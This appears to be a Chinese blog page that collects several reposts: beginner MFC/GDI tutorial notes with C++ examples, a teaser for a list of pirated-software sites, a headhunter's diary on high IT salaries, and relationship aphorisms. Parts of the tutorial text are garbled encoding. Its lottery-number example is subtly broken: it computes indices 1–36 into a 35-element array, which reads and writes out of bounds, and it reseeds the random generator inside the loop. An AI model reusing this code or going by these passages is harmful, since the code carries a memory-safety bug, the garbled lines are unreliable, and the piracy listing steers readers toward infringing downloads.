CPen:笔是一种用来画线及绘制有形边框的工具,可以指定它的颜色及宽度,并可以指定画虚线、点线还是实线。

CRgn:区域是由多边形、椭圆二者组合形成的一种范围,可以用来进行填充、裁剪、鼠标点中测试等等。

以上很容易理解,可以用WINDOWS的画图帮助我们理解。

CGdiObject类很眼生,看过很多代码就没有看到过它,原因是由于CGdiObject类是所有GDI对象类的虚拟基类,所以我们不必创建CGdiObject类的对象,可以直接构造它的派生类的对象,例如这样

CPen newPen(PS_DASHDOTDOT,2,(COLORREF) 0); //黑色的笔宽度为2

但需要注意的是CFont和CRgn的对象建立需要先调用默认的构造函数来构造C++对象,然后再调用相应的创建函数如:

CreateFont或CreatePolygonRgn等。

CGdiObject类有一个虚拟的析构函数,它派生类的析构函数需要将与C++对象相关联的GDI对象删除掉,一定要在退出程序之前把构造的CGdiObject派生类对象干掉。因为一个没有释放的GDI对象会占用很多的内存。

让我们用一个例子跟踪一下GDI对象

//*************************************
// 例子7-2
void CMy10View::OnDraw(CDC* pDC)
{
pDC->MoveTo (10,10);
pDC->LineTo (110,10);
CPen newPen(PS_DASHDOTDOT,10,(COLORREF) 192); //红色的笔宽度为10
CPen * pOldPen=pDC->SelectObject (&newPen);
//在将新对象选进设备环境的同时返回指向前一次被选对象的指针。作用保存原来的对象,以便完成任务时恢复它。
pDC->MoveTo (10,20);
pDC->LineTo (110,20);
pDC->SelectObject (pOldPen);//把原来的对象恢复
pDC->MoveTo (10,30);
pDC->LineTo (110,30);
}

  屏幕上应该显示三条线,第一条和第三条一样颜色和粗细因为他们都是用的设备环境默认的CPen对象,第二条是一条用我们自己设定的CPen对象。我们可以看出在将新对象选进设备环境的同时返回指向前一次被选对象的指针。作用保存原来的对象,以便完成任务时恢复它。

Windows还包含有一些可以利用的库存对象,它们不会簧境蛭猈indows对企图删除它们的动作不予理睬。我们可以用SelectStockObject函数将它们选进设备环境。下面列出的是所有的有关刷子、笔、字体和调色板的库存对象。

//***************************************************************************
// MSDN中的内容
BLACK_BRUSH //Black brush.
DKGRAY_BRUSH //Dark gray brush.
GRAY_BRUSH //Gray brush.
HOLLOW_BRUSH //Hollow brush.
LTGRAY_BRUSH //Light gray brush.
NULL_BRUSH //Null brush.
WHITE_BRUSH //White brush.
BLACK_PEN //Black pen.
NULL_PEN //Null pen.
WHITE_PEN //White pen.
ANSI_FIXED_FONT //ANSI fixed system font.
ANSI_VAR_FONT // ANSI variable system font.
DEVICE_DEFAULT_FONT //Device-dependent font.
OEM_FIXED_FONT //OEM-dependent fixed font.
SYSTEM_FONT //The system font. By default, Windows uses the system font to draw menus, dialog-box controls, and other text. In Windows versions 3.0 and later, the system font is proportional width; earlier versions of Windows use a fixed-width system font.
SYSTEM_FIXED_FONT //The fixed-width system font used in Windows prior to version 3.0. This object is available for compatibility with earlier versions of Windows.
DEFAULT_PALETTE //Default color palette. This palette consists of the 20 static colors in the system palette.
//*******************************************************************************
一个问题:

  由于SelectObject函数返回的GDI C++对象指针具有临时性,当程序的空闲处理阶段或者控制函数返回时应用程序框架会将临时的C++对象删除,我们不能简单的把这一指针保存在类的数据成员中,而应该借助GetSafeHdc函数将它转化为Windows的句柄,以便持久的保存GDI的标识。

我们将例子7-2做些改动。

//**************************************************
// 例子7-3
void CMy10View::OnDraw(CDC* pDC)
{
HPEN m_hPen; //一个指向CPen对象的指针
pDC->MoveTo (10,10);
pDC->LineTo (110,10);
CPen newPen(PS_DASHDOTDOT,10,(COLORREF) 192); //红色的笔宽度为10
CPen * pOldPen=pDC->SelectObject (&newPen); //在将新对象选进设备环境的同时返回指向前一次被选对象的指针。作用保存原来的对象,以便完成任务时恢复它。
m_hPen=(HPEN)pOldPen->GetSafeHandle ();//获得并保存原来对象的句柄
pDC->MoveTo (10,20);
pDC->LineTo (110,20);
pDC->SelectObject (CPen::FromHandle (m_hPen));//把原来的对象恢复,和例子7-2不同的是通过句柄
pDC->MoveTo (10,30);
pDC->LineTo (110,30);
}
补充一下IGDI派生类的Windows handle type列表
CPen HPEN
CBrush HBRUSH
CFont HFONT
CBitmap HBITMAP
CPalette HPALETTE
CRgn HRGN


  好了我们已经对GDI有了一些了解,下一篇我们将说说颜色和字体,雷神希望大家对我的学习笔记提些建议,因为很多东西也许不必说的这么罗嗦,可我知道初学VC的痛苦,太多的东西看不明白,所以尽量写的详细。文章记录了我学习时的心得,很多东西是从MSDN查来的,不知道合不合大家(初学者)的口味。

第十篇:模式对话框和通用控件(下)

  大家好,雷神由于出差在外,所以笔记今天才写出抱歉。不知道大家有没有做上篇提到的计算器,计算器对雷神来说可是经典的程序,学VB先搞了计算器,学VC也搞了个计算器,前不久在学扩展CBUTTON类时也是用计算器程序,为什么?按钮多呗,雷神最终做出了一个圆形按钮,液晶显示的计算器,感觉真的不错。学编程就是要编写代码,代码写的多少和编程水平是成正比的。

  由对话框编辑器和Class Wizard生成的对话框可以很轻松的不需编写很多的代码而获得很多的功能,但如果我们想对对话框进一步的改进则需要手工编程了。

  我们以上一篇的电脑体育彩票选号小程序为例进行一系列的改进工作。

改进一:截获退出控制权

  当我们的光标不在选号按钮上时(例如在文本框内),当按下回车(Enter)键则回退出程序的运行,还有当你按下ESC键时也会退出。为什么?因为当用户按下回车键时Windows就会自动查找“输入焦点”在哪个按钮上,如果所有的按钮都没有获得输入焦点,Windows会自动的寻找程序资源指定的默认按钮,如果对话框没有默认按钮,系统会调用OnOK函数。ESC键也会触发对OnCancel函数的调用,从而导致控制从对话框中退出。如果我们想截获退出控制权该如何做呢?用哑函数,就是将按下Enter和ESC后的处理函数写成空函数。

  步骤1、由于我们的对话框没有OK和CANCEL按钮,我们只能手工添加代码。在guessDlg.h文件的类声名重载:virtual void OnOK()和virtual void OnCancel();两个虚函数。

class CGuessDlg : public CDialog
{
.......

// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CGuessDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void OnOK();
virtual void OnCancel();
//}}AFX_VIRTUAL
.......
};

  步骤2、在guessDlg.cpp文件加入两个哑函数OnOK和OnCancel。

void CGuessDlg::OnOK ()
{
}
void CGuessDlg::OnCancel()
{
}

  好了在编译运行,按ESC和在文本框内点一下鼠标,按下回车(Enter)键,上一篇的问题不存在了,程序不会退出,彻底退不出了,只能通过任务管理器退了,这可不行,我们还需要继续改进。

  步骤3、添加一个按钮,叫退出。加入这个按钮的消息控制函数如下:

void CGuessDlg::OnButton2()
{
CDialog::OnOK();
}

  这回可以了,我们已经掌握了对话框退出控制权。

改进二:改变对话框的外观

  我们可以改变对话框的背景颜色,或对话框中的控件颜色以使得程序界面不至于千篇一律,如何做呢?每个控件和对话框在显示之前回发送WM_CTLCOLOR消息,如果派生对话框类对WM_CTLCOLOR消息进行了映射,就可以设定文本的前景色和背景色。同时还可以为控件或对话框的非文本区域选择一个刷子。

  WM_CTLCOLOR消息对应的函数为OnCtlColor,OnCtlColor函数的原型为:afx_msg HBRUSH OnCtlColor( CDC* pDC, CWnd* pWnd, UINT nCtlColor );其中参数pDC是:一个指向设备环境的指针。pWnd:指定特定的控件。nCtlColor:指明控件类型。 可以有以下类型:

CTLCOLOR_BTN button control
CTLCOLOR_DLG dialog box
CTLCOLOR_EDIT edit control
CTLCOLOR_LISTBOX list box
CTLCOLOR_MSGBOX message box
CTLCOLOR_SCROLLBAR scroll bar
CTLCOLOR_STATIC static text, frame, or rectangle

现在为了突出显示文本框的显示号码,我们将文本框的文字背景设为黄色。

步骤1、添加一个成员变量 HBRUSH m_hBrush;
步骤2、用Class Wizard为CGuessDlg加入WM_CTLCOLOR消息,并编辑OnCtlColor函数:

HBRUSH CGuessDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
if(nCtlColor==CTLCOLOR_EDIT){
pDC->SetBkColor (RGB(255,255,0));//EDIT控件文字背景为黄色
return m_hBrush;
}
return CDialog::OnCtlColor (pDC,pWnd,nCtlColor);
}

编译运行,怎么样,文本框内的文字均变为黄底了。关于对话框的外观我们将在以后再说。

改进三、增加进度条。

  程序在随怕胧泵挥腥魏翁崾荆颐遣恢莱绦蚴欠裨谠诵校趺窗欤课颐窃黾右桓鼋忍蹩丶美垂鄄斐绦虻脑诵凶纯觥?br>
  步骤1、在对话框编辑器中增加一个进度条控件(Progress),并在CGuessDlg为进度条增加一个成员变量。int m_nProgress;

  步骤2、将CGuessDlg::OnButton1()用下面代码替换。

void CGuessDlg::OnButton1()
{
m_nProgress=0;//初始进度条为0
CProgressCtrl *pProg=(CProgressCtrl*)GetDlgItem(IDC_PROGRESS1);
pProg->SetRange (0,70);//设定进度条范围为0-70
int temp,pnum[35],num[7]; //临时变量,临时数组
for(int i=0;i<35;i++) //赋值,以作选号用
pnum[i]=i+1;
//***选号过程:***//
for(i=0;i<7;i++)
{
srand( (unsigned)time( NULL ) );
//srand(3);
temp=rand(); //取随机种子数
temp=temp%36+1; //取小于35的数组元素
while(pnum[temp]==0)//如果是已被选过的元素,重选
{
srand( (unsigned)time( NULL ) );
temp=rand();
temp=temp%36+1;
}
m_nProgress+=10;//进度加10
num[i]=temp; //选定一个号码
pnum[temp]=0; //给该元素置0,表示已被选过
UpdateData(TRUE);//刷新
pProg->SetPos (m_nProgress);

}
/*** 在选完号码后,应该为它们排一下序:***/
//排序部分无变化省略。
}

  编译运行它,好了,有了进度显示我们可以知道程序的运行情况了。

  在这篇笔记中我们通过对上一篇所写的小程序的改进,掌握了一些改进对话框的方法,不用书上的例子是想给大家多个例子参考,不过书上的例子一定要掌握。好了关于模式对话框我们已经掌握,下一篇我们将继续学习无模式对话框。

posted @ 2006-06-26 16:38 高山流水 阅读(848) | 评论 (0)编辑 收藏

     摘要: 最全的〖盗版〗软件地址1.91N.NET虫虫伊甸メジ乐园 http://www.91n.net/  ;; 2. 99软件站 - 论坛首页 - http://www.99soft.com/ ] ;http://www.99soft.com/ bbs/ ;; 3. POP ...  阅读全文

posted @ 2006-06-26 15:41 高山流水| 编辑 收藏


日期:2005-08-29 ]   [ 来自:转贴 ] 想想大家都在讨论一个月3000还是4000的时候,别人都是100万,而且多数都是没有结婚的28-29岁的年轻人,我在感叹做人的差距好大啊! 最让人伤心的是,当代理100万的CASE打个电话过去,很自豪的说帮你推荐职位,年薪100万,那边传来的是,轻蔑的笑声:我现在都150万,你认为我会去考虑100万?

收集300个人资料,查他们的经验背景,更让我接受不了的,里面只有一个清华, 一个北邮,我还熟悉,其它的都是很烂的大学,而交大一个也没有,和经理聊这个,他说如果你要找好大学的,在搞技术的20-30万的很多好大学,不解......

同志们.......有钱人很多啊!

其实我开始也不相信,开始经理拉我去那边的时候说他们都代理百万的职位,我还以为他吹牛,因为我们刚离开大学的时候大家都在为多拿几百快钱的时候,别人的薪水怎么能数量级上升。

有位网友让我拿出证据,其实还需要拿嘛,今天我特地又把大概的资料翻了一下,更确信我昨天的说法。给大家讲今天的一个笑话,每次约condidate 过来的时候,他们都开车过来,而今天收到一个清华的GG的简历,感觉他技术基础很扎实,想把一个技术主管的位置介绍给他,让他来我们OFFICE,我打听到他住的地方和我们的OFFICE 开车大概10分钟的路程,我说我们半个小时后见,他说可能赶不到,这位哥们一句话差点把我喝在口中的氺喷出来,他说,我骑自行车过去怕赶不上.......老兄你花10块钱打个车不行嘛,你应聘的可是70万的职位啊.......

其实大家都认为猎头就是中介,那可大错特错,猎头的信息;量大的让我刚刚进去的时候吓了一跳,他们几乎有所有IT公司的人员联系方式,而且是手机号码。我在想(我后来明白他们是怎么搞到的, 主要看报刊和网络)兄弟们,大家想赚大钱的话,那么自己创业把,要么去去那些高端技术企业的销售(想想EMC高端storage一台1million, 你认为利润是多少呢?),在大公司里面搞科研,可以让你不饿着,但永远富不起来(当然有例外的)!

真的,我也想不明白怎么我看拿百万的好大学少的可怜,原来我想有点少,但至少不会少到我看一百份只有2--3份是好大学的吧??我同意好大学出来的素质高, 但竞争能力怎么那么差呢?

还有现在国外大IT来中国的企业一般都是扁平管理, 只有四层, 最上面2层, 80%是香港和台湾人,我就想不明白了,我们已经开放20多年,怎么老美还是不愿意来雇用本地人呢? 而我们只能在最下边2层徘徊。唉......

不知道大家感兴趣的是猎头的工作还是那一群拿高薪的人?

原来也接触过一些有钱人,但每次都告诉自己每个社会都有一些暴发户来聊以自慰,可第一次而且是天天都在和这一群高收入者接触, 暴发户的现象完全消失, 自卑感可想而知, 其实这种自卑不是来自他们的高收入, 而是他们对行业的理解, 对市场的嗅觉,对整个行业食物链的把脉,他们和我们理 解的单片机, MOS逻辑电路完全是不同的概念,我们都知道一个公司要发展,市场和技术缺一不可, 问题是技术方面有我们这些好大学的学生来填补这些空缺而弱化了技术人员的薪资, 而使搞技术的处于饿不着也富不起来的限尉地,而对公司来说,来钱的地方只有市场,我们当然知道这没有技术支撑都是扯谈,这没有错,错的是我们认为大家都这么想,其实也只有我们搞技术的会这么想!

想想,一个卖通讯计费软件的销售人员2个月搞定的一个单子是2000万,而利润是1000万(这完全是真实的事情,如果有些人还让我拿出论据,我只能笑你对这一行太不了解),你说这个销售人员是应该拿300万还是400万的年薪呢? 而他手下没有管理一个人,而只是一个一线销售人员。我们搞通讯的都知道CDMA比GSM优越的多, 而且都在预计它会取代GSM,茫模停恋募 术早就成熟, 以前MOTOTROLA(中国)匆匆上马CDMA, 最后失败,引起MOTOROLA高层的震荡, 而血洗了一片决策高层。 每个公司都投入大量资金给科研,如果你以为是为了给科研人员的薪水,那又错了,那些钱都是做实验的, 而投入到市场上面的钱,那都是进入老板的腰包!

面谈一个在著名IT公司搞 Marketing 的福州大学的29岁的很干练的经理人,我们不知怎么聊到SUN的,他的公司代理的和SUN的产品几乎完全不同, 我以前也读了很多关于SUN的文章, 从它的发家到成长,到丑闻,而这位仁兄的了解让我直冒冷汗,他连当天美国SUN的股价都说的很清楚,更别提SUN的系列产品和对它未来的预测。而他仅仅是福州大学的小本。上面有个网友让我描述一下他们的背景,这个统计起来有点难度,不过我可以肯定的告诉你们, 他们有一个共同的东西,那就是人格魅力。

大家一谈创业都在犹豫,其实你犹豫的时候你已经失败一半了!

不信你去网易、sohu、sina上面的创业版看看,那里面多数人都在问:有谁创业成功的吗?怎么搞第一桶金?你们问的时候你已经失败了,我肯定的告诉你,你问的同时,好多人已经开始做了,创业成功的人不会来这儿的......

对于那些拿高薪的人除了,他们的共性,人格魅力外,还有就是他们都有完整的职业规划,这是他们成功的先决条件,如果一个人开始的希望都在为能不能找到工作,那么他也don't have长远的规划。猎头们看简历candidate的时候首先看的是他们工作的公司和跳槽的经历,如果你每2-3年都跳一次,那么我告诉你被猎头看上去的机会很少,专业的猎头公司清楚的明白在代理这一行那个公司的员工最有竞争力,有些同学都认为去大公司为以后的工作有好处,这不竟然,大家喜欢去四大,那是因为四大会帮你综合培养的很有竞争力,所以很少有猎头去IBM挖人,那边出来的人没有太大的竞争力,这个庞大的组织里面分的太细,出来的员工基本不会是多面手,这可能也是IBM高明的地方,所以IBM相对员工比较稳定,但对于一个员工的职业规划,IBM不是一个好的去处。

关键是对人综合素质的培养,同时我们应该知道公司永远都是市场驱动而不是产品驱动,这个先决条件决定搞管理,销售的人拿高薪的可能性大的多,有好多人都说,先搞两年技术在转管理OR销售,其实你错了你两年的技术对你将来的管理和销售有点帮助,毕竟你花了两年的时间在技术上面,而别人已经直接在管理和销售上面干了两年,所以我刚刚在电脑上面大概统计了一下,高薪中管理和销售方面的人才开始做技术转过来的年龄都偏大,所以如果你致力于搞管理和销售,那么直接去找这方面的工作,而不要浪费时间去搞2年技术,一到管理层和销售对技术背景就会淡化很多, 而且愈高愈明显。

当然你的工科背景对你以后的管理和销售绝对是个很大的帮助,(现在我们那个几个专业猎头,他们都是很有经验的专业顾问,但他们都不是工科背景,我的工科背景在那边做的就很占优势,而且猎取的成功率高的多),如果有些人又不想放弃技术,又不想一心搞技术,那么技术支持就不错,技术支持分pre-sales, and post sales, 我的建议如果你外向一点选择pre-sales, 那边很锻炼人,不仅要技术,还要很多的和人大交道,而且多数薪水比post sales要高 这那边滚打5-6年薪水都会到20-30万,以后跳槽的机会比较多,而售后这块薪水不是很高, 但技术含量比较高点, 以后跳槽也不容易。

当然想搞技术的,研发部门最好的啦,每个人都有自己的喜爱,而且钱不是衡量个人成功唯一标准, 反正研发部里面高薪的情况很少, 除非是那种很核心技术的, 不过国外IT公司的核心技术都放在总部研发, 不过研发主管的薪水都比较可观,不过研发部里面都是牛校的PHD,一个MASTER和小本在那边爬上去的可能性太小......

本来今天想写点猎人的程序方面的,不过下午发生的事情让我really shock,我想把她写下来,也许今天不会好看,但我还是想记下今天的故事:

她35,工学研究生,北大EMBA工商硕士,一个本土IT公司总经理,年营业额4亿。本来她把简历投过来的时候,她告诉我因为和董事长经营理念不是很相同,想走。手头没有和她很般配的职位,主要是开始很重要的职位(AP, CM)老板都没有给我做,其实我是个新手, 什么东西都在学,但她希望和我保持联系,今天早上,她打过来电话说下午会路过我们公司这边,希望和我见个面,本来我下午3点约了一个客户经理,后来我说3点半吧,3点半到的时候,她很准时,我约的那个人还没有走,让她等了10分钟,会客厅被其它同事用着, 我们就一起去了公司下面的一个咖啡厅,开始聊的很投机,因为我手里现在sales mgr 职位比较多点,她想要CEO COO的位置,然后我们一起聊她现在的公司.

她从助理做起到最后总经理,给我讲她出去拿单的经历,说和员工的沟通,和老板的交流,说的很感性,语速很慢,我们都要了冷咖啡,她告诉我不喜欢加糖,她喜欢慢慢品尝,当讲到她陪客户喝酒,陪客户疯狂,她声音变的很小,她说起她读EMBA的时候的抱负,还有自己的经营理念,她突然问我:我们活着为了什么?然后哭了,对于她的突然变化,我有点出手不及,不知道怎么办,我很坦诚的告诉她,我每天都在面对比自己优秀的多人中间, 我很康奋,甚至有点紧张,不过我很少和candidate 从心理去沟通过,我都是想用最专业的眼光和规划和他们交流,因为我一直想使自己变的更professional, 我说我的缺点很明显,我普通话不怎么好,但我尝试和用不同方式与别人交流,让别人认可我,我是一个从不放弃的一个,我的努力让我踏实,对事业方面, 我们没有可比性,你很成功,你开的是宝马,如果不是工作的关系,这么高档的咖啡厅我要等几年后才可以光顾。

这个时候她平静了许多,她告诉我,她很少流泪,甚至在丈夫面前,让她苦恼的是,这个多变的社会大家都不按理出牌,你永远不知道别人下一张出什么牌。前面大家都是正人君子,背后刀光键影。 她说不是因为压力,每个行业都有压力,普通的engineer 也有压力,而是在思考选择什么样的生活方式。 只是觉得工作里面有很多恶心的地方。女性在IT这个群体里面还处于弱势群体, 而且永远会是这样。最后她告诉我希望她不是我的candidate,而是她的朋友。咖啡厅里放着轻音乐, 相差一个轮回的两个人就在那边无语的座了半个小时。

学生真的太单纯了,我们大家都没有了解社会恶心的事情,我以后会专门写一些从我的candidates口里听到高层恶心的事情。 其实很有趣, 我是感觉每天我都在拍电影,我终于明白电影来源于生活这句话了。

和网友的交流让我很感动,大家对这群人的陌生,对他们的好奇,还有我们这个不够专业的猎头公司代理的却是最高的职位, 唯一的理由是他们和每个IT公司的高层都很熟,这也是本土猎头公司没发竞争的地方。

取得高薪的主要途径是先在创业型公司锻炼, 最好什么都干, 然后干到中高层!如果你去联想, 没有10年你干不到manager, 如果你去start-up公司也许年就能实现这个关键的一跳! 如果公司上市了, 奖励100-500万的很普遍, 反正是老外的钱! 现在去SOHU的清华学生月薪在2000-3500元, 以前也是这个数, 但期权让他们发了!

今天上午比较忙,连续约了好几个candidate 谈,下午有点困就没有约人过来,老板那边又接到一个单子,180万的年薪,唉!我自己要开公司能接到这样的单子就爽死了,一般一个月就可以搞定,就可以拿到他们年薪的30%,就是54万,而一个公司10个员工总的开支包含office 电话费也就3万,每月平均可以10个case, 当然一般都是60-100万的,赫赫,钱基本被老板拿去, 唉,不平衡,我信有多职位都很有压力,但也有好多职位!

每天就是数钱,例如我的老板,资本家啊,不平衡。今天就谈一下猎头的程序吧,因为我也是新手,了解的也只是很小的一个部分,不过这样我更会真实的记录下来。

猎头英文是headhunter, 专门找head(头)的行业,这里面的头有两方面的意思,一个是智慧,就是那些有才华的人,一个就是头目,一般都是经理,总裁级的人,所以大家会误会猎头公司只是高级中介,其实有点错误,我开始想尝试找一个确切的猎头公司的定义,不过比较难,这个行业一直都是很模糊的定义。猎头找的是那些永远不愁没有工作的人,而中介只是帮那些在找工作和找不到工作的人找工作。

美国发展最规范,而中国只停留在很狭小的范围,而美国,正规的都会包含人员的科学测试和培训,公司机构和人力的咨询等,中国的相对粗造的多,象上海这类公司有400多家,于是就导致好多公司很底的职位都会去代理,而沦落为简单的中介,几个月都拿不到一个大的单子。

好多人都想刚刚毕业就进入这一个行业,几天粗造的了解给我的印象是一个专业的猎头人,要具备Knowledge, Professional, and discernment. 这个行业对猎头的知识的要求是对整个行业的了解, 给你一个case, 你要在半个小时内就要确定搜寻的范围,包含那些公司,那些部门,可以挖到相关的人,然后是professional, 这个不仅仅是猎头这行业,其它所有行业都这样,外在要穿着方面,内在沟通方式,你的职业性会让公司对你有信心,给你更多的单子,让你的candidate更愿意把自己托付给你。最后的scernment是出成果最重要的一环,你要对你推荐的candidate给出至少70%以上的判断, 这方面每个人用的方法不同,有的喜欢打听candidate 的身边的人,有的喜欢用test, 而我个人比较喜欢面视时的聊天,当然有些人很会谈,很会包装自己,不过猎头都比较喜欢没有包装的真实的你,其实这样对公司也是对个人负责,因为工作是长期的 所以我一般都会选择那些just be yourself的人。所以刚刚毕业的学生可以做这一行,但很有难度,例如我,几乎每天都在学习,和每个经理人聊天都是在给自己上课,只是我适应的比较快。

还有我特地想提到的是大家不要频繁跳巢,昨天我推给公司的两个人都是每年跳一次的理由被公司退了回来,越到高层对频繁跳越敏感。上次有些人问我给大家建议的直接去做销售和管理,怀疑刚开始去做管理不可能,其实你错了,我最近就接触好几个刚刚毕业的本本去做项目主管,这太有可能了,一般的工程项目技术含量要求不高,有一定的组织能力完全可以胜任,做项目灰色收入也可观哟,上次有人提到销售淘汰很高,这是事实,本来人生就是金字塔,你要想在上面就要接受残酷的淘汰,而做技术淘汰低是因为你在好大学,本身就是在金字塔的上面, 销售只不过是不同大学刚刚毕业重新洗牌而已。而对于管理,天赋占很大比重,对资源的调配,对市场的灵敏度,对员工的沟通,这方面的要求是全面的。

怪了, 这些经理们很少看163/SINA/SOHU/TOM等门户网站, 基本只看专业网站和管理类网站!他们认为10天不看SINA.COM没问题! 但10天不看财经类网站就感觉不放心, 就怕业界的资讯不知道,被同行笑话!

今天有点累,本来上午想统计一下,这群上层人物的工作经历,统计一半,后来接连面了好几个人,就没有统计完,希望明天可以搞定,给大家看看他们的工作历程,怎样在短短几年可以拿那么多:

下午和一个microsoft的经理级人物面谈,然后就一起吃了饭,一个很魅力型的人,两个人点了那么多菜,喝了点红酒。当时直犯愁,钱包里面只有300块钱,最后他很礼貌的买单,我强烈要求我买,他拿出信用卡,说这是Gates 的钱,我们大笑,920块,我现在还后怕,他如果真让我付,我可怎么收场啊,钱包只有300快啊。

其实和公司几个很有经验的consultant比我的能力只会比他们强,但他们面试时表现出来的老道却是我让我甘拜下风, 因为做IT行业就那么几个人(我说的那几个牛人),每次面试的时候很少涉及到技术方面的, 都是在讨论, 那个公司(管理)重新洗牌,那片战场(销售)还有打的可能,哪个人从那个公司跳到另一个公司带走一班人马,他的那个朋友在那个部门可以给他第一单,那个公司更有挑战性, 那个公司可以让你折寿几年,Oracle 的单打独斗和霸道, IBM的team work, HP游离于中间,SUN 的日落西山,EMC的坟场,DELL的杜比人,Hitachi的教条, 就那么点人在IT公司之间不停的换位,几句聊天中,你就可以知道candidate 的人脉关系、管理和营销理念。因为我们代理的都是经理级的人,所以不管挖他们去做技术主管还是公司主管还是销售主管,技术都不是我们问的范围。

我现在在写的时候收到一个网友很诚恳的探讨,这位朋友, 原谅我没有得到你的容许就直接应用你的话,原话:以前在学校找工作面试的时候,有幸跟东芝的中国区经理谈了一个多小时。当时记得比较清楚的就是,这位经理告诉我,工作之后,有一个高质量的朋友圈相当重要。因为这样就可以更有效地交流和学习。自己交往的人真的可以决定你成功多大, 仅是给你的帮助还是给你的资讯,更重要的是给你潜移默化的影响, 我敢说干这么短时间的猎头, 以后我不管做什么都是我一生巨大的财富希望明天给出的是真实的case 和数据,以前写的都很泛......

今天来点数据吧, 不过我觉得收集数据确实是枯燥无味的工作, 我看资料的时候, 经理过来问你今天打的电话好少哟......无语,

本来拿了一百份,不过到现在统计了80份,实在坚持不下去了,算了,就拿这80份做sample 吧, confidence level 肯定比100份少,赫赫,我主要是从他们的薪水(年薪)学历,年龄,工作年龄方面统计的。因为这是对那个阶层的,不具有代表性(而且只是IT 行业),只是给大家看一下, 给大家一个现象,评论是大家的事, 而且最近我也在想自己的职业规划, 所以不知道哪一天就会改变自己的职业。不过还是希望坚持多写点, 毕竟做高端猎头的人不多,有这个机会了解他们也不容易

薪水:40-60万, 60-80万 80-100万, 100万 以上

人数 19 22 23 16

80人中, 女性16, 男性64

公司管理人员,32 人, 销售经理 40 技术主管 8

学历: 本科 56, 研究生18人 (其中MBA 8人) PHD 6 人

没有人是本科以下的,可见本科还是大家成功的窍门砖。

好大学(我说的好大学就是我们大家心理明白的那几所:)7, 其他的:73。

工科: 62 人, 非工科方法18人,工科是压倒性多数

平均年龄(这个开始我还用计算机算,很笨的说,后来用excel 直接就可以拿到)31,最小的25, 最大的42,跳槽的频率是2次,也就是4年跳一次,一般IBM, HP 的时间都有7-8的,不过其它的2年多的, 2年以下的很少,到经理级别的26-29最多,所以27(一般工作2-4年)是大家的一道坎, 这个时候跳一下,promote 到经理级,以后机会就不多了,然后是32—35 又一到坎 能promote 到director, 这关过不去,那么你在小经理这边呆着吧...慢慢熬时间拿点福利, 35也是一个Promote 到 VP,GM 的最好时间,一般过了40猎头不会推荐你的, 除非你特牛(特牛的人年纪对他没有障碍)。

posted @ 2006-06-13 15:04 高山流水 阅读(332) | 评论 (0)编辑 收藏

1.不要为了寂寞去恋爱,时间是个魔鬼,天长日久,如果你是个多情的人,即使不爱对方,到时候也会产生感情,最后你怎么办?

2.不要为了负责而去结婚。要知道,不爱对方却和对方结婚是最不负责的。即使当时让对方很伤心,但是总比让他几年甚至一辈子伤心强。

3.不管多大多老,不管家人朋友怎么催,都不要随便对待婚姻,婚姻不是打牌,重新洗牌要付出巨大代价。

4.感情的事基本上没有谁对谁错,他(她)要离开你,总是你有什么地方不能令他满足,回头想想过去在一起的日子,总是美好的。当然,卑劣的感情骗子也有,他们的花言巧语完全是为了骗取对方和自己上床,这样的人还是极少数。

5.和一个生活习惯有很多差异的人恋爱不要紧,结婚要慎重,想想你是否可以长久忍受彼此的不同。

6.有人说恋爱要找自己喜欢的人,结婚要找喜欢自己的人,都是片面的。恋人不喜欢自己有什么可恋的?老婆自己不喜欢怎么过一辈子?

7.真爱一个人,就要尽量让他开心,他开心了你就会开心,那么双方就有激情了。

8. 不要因为自己长相不如对方而放弃追求的打算,长相只是一时的印象,真正决定能否结合主要取决于双方的性格。我见过的帅哥配丑女,丑女配帅哥的太多了。

9. 女人要学会扮靓自己,不要拿朴素来做挡箭牌,不要拿家务做借口,不懂时尚,你就不是一个完整的女人。

10. 恋爱的时间能长尽量长。这最少有两点好处:一,充分,尽可能长的享受恋爱的愉悦,婚姻和恋爱的感觉是很不同的。二,两人相处时间越长,越能检验彼此是否真心,越能看出两人性格是否合得来。这样婚后的感情就会牢固得多。

11. 男人不坏,女人不爱,这坏不是指心肠狠毒,自私无情什么的。而是指油嘴滑舌,花言巧语。一般的好男人以为说情话是油嘴滑舌,轻浮肉麻的表现,所以不愿去做。对别人这样说是不对,可是对自己老婆,就要油嘴滑舌一点。为什么不能做个心好嘴滑的男人呢?

12. 都说婚姻是爱情的坟墓,那是因为婚前已经往去坟墓的路上走着。就算不结婚也会在坟墓前分手。为什么不先分手就一头钻进坟墓呢?

13. 只会读书的女人是一本字典,再好人们也只会在需要的时候去翻看一下,只会扮靓的女人只是一具花瓶,看久了也就那样。服饰美容是做好一个女人的必要条件,不是充要条件。你还需要多看书。这样你会发现生活更加美好。

14. 平平淡淡才是真,没错,可那应该是激情过后的平淡,然后再起激情,再有平淡。激情平淡应呈波浪形交替出现。光有平淡无激情的生活有什么意思?只要你真心爱他,到死你也会有激情的。

15. 你爱他吗?爱就告诉他,何必把思念之苦藏在心底深处。怕样子,地位,身份不相配?别怕,爱一个人是美好的。


16. 老婆和老妈掉进了河里,我先救老妈,因为是老妈给了我生命,我找不到任何理由丢下她不管。老婆如果没救上来,我可以再给她陪葬,在墓里继续我们的爱情。

17. 草率地结了婚已经是错了,再也不要草率地去离婚。先试试看,真的不行再离也不迟。

18. 经常听说男人味女人味,你知道男人味是一种什么味道,女人味又是一种什么味道吗?男人味就是豁达勇敢,女人味就是温柔体贴。

19. 魅力是什么?魅力不是漂亮,漂亮的女人不一定能吸引我,端庄幽雅的女人我才喜欢。所以你不用担心自己不够漂亮。

20. 初恋都让人难忘,觉得美好。为什么?不是因为他(她)很漂亮或很帅,也不是因为得不到的就是好的,而是因为人初涉爱河时心里异常纯真,绝无私心杂念,只知道倾己所有去爱对方。而以后的爱情都没有这么纯洁无瑕了。纯真是人世间最为可贵的东西。我们渴求的就是她。

21. 初恋的人大多都不懂爱,所以初恋失败的多。成功的少。结婚应该找个未婚的,因为谁都喜欢原装。而恋爱,还是找个恋爱过的人才好。因为经历过恋爱的人才知道什么是爱,怎么去爱。

22. 男人有钱就变坏,是的,很多男人这样,不过,一有钱就变坏的男人就算没钱,也好不到哪里去。

23. 一个男人能不能给你安全感,完全不取决于他的身高,而取决于他的心高。高大而窝囊的 男人我见过不少。矮小而昂扬的男人我也见过。一个男人要心高气傲,这样才像男人。当然,前提是要有才华。

